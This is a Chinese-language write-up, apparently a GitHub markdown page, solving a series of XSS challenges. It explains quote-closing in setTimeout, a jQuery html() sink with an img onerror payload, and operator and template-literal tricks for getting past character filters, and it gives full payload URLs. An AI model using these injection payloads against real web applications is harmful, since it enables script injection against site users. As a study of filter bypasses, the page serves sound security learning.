Skip to content

Latest commit

 

History

History
130 lines (109 loc) · 3.34 KB

File metadata and controls

130 lines (109 loc) · 3.34 KB

参考

<script type="text/javascript">
var x=location.hash;
function aa(x){};
setTimeout("aa('"+x+"')",100);
</script>
Give me xss bypass 1~

利用js函数的性质:

function myFunction(p1, p2) {
    return p1 * p2;              // 该函数返回 p1 和 p2 的乘积
}

// 普通的计算乘积
myFunction(2,3)
6
// 执行任意js代码
myFunction(2,alert(77),3)
NaN

所以这里令x="#',alert(1),'" 即可拼接出:

setTimeout("aa('#',alert(1),'')",100);

参考setTimeout用法:

setTimeout("alert('对不起, 要你久候')", 3000 )

参考:https://www.runoob.com/w3cnote/javascript-settimeout-usage.html

准确地,

aa('#',alert(1),'')

本来aa函数期待1个参数,也可以通过闭合单引号传入三个参数。 或者

');alert(1)//

闭合前面的单引号和括号,然后执行任意js,然后使用//注释掉后面的代码。

$("#xx")["html"]($("#xx")["text"]());

其中

$("#xx")["html"]()

相当于

$("#xx").html()

而$("#xx")"text"相当于$("#xx").text()

于是

$("#xx")["html"]("<img src=x onerror=alert(1)>")

就相当于

$("#xx").html("<img src=x onerror=alert(1)>")

其中的知识点为:

text();设置或者获取所选元素的文本内容; html();设置或者获取所选元素的内容(包括html标记);

参考:https://www.cnblogs.com/fozero/p/5916878.html

  • 当函数传参时,表示设置;
  • 当函数参数为空时,表示选取。

前端的请求参数是px, 但是<>"被转义,但是'未被转义。 但是在js函数中要确保两条语句都语法正确,否则则无法完成函数执行。

通过,;以及'的组合发现无法确保两条语句同时语法正确。答案是利用* 完整payload:

http://px1624.sinaapp.com/test/xsstest3/?px=aaa%27*alert(77)*%27bbb

原来乘法中的被乘数也可以是xss的payload: 当然不止乘法,加法、减法都是可以的。

前端展示差不多,但是后端代码不同了。参考答案是过滤了

<>+-*/&|~^%!?=

但是没过滤'"。这是与第3题的不同。

答案:

http://px1624.sinaapp.com/test/xsstest4/?px=%27;`;{alert(%271

利用了js的模板字符串可以换行的特点,可以完成普通引号无法完成的语法。(避免中间的引号无法转义的问题) 参考: https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/template_strings

还有一种解法是利用in或者instanceof这个语法,因为ininstanceof也是一种运算符,参考: https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference

http://px1624.sinaapp.com/test/xsstest4/?px=%27in%20alert(1)%20in%27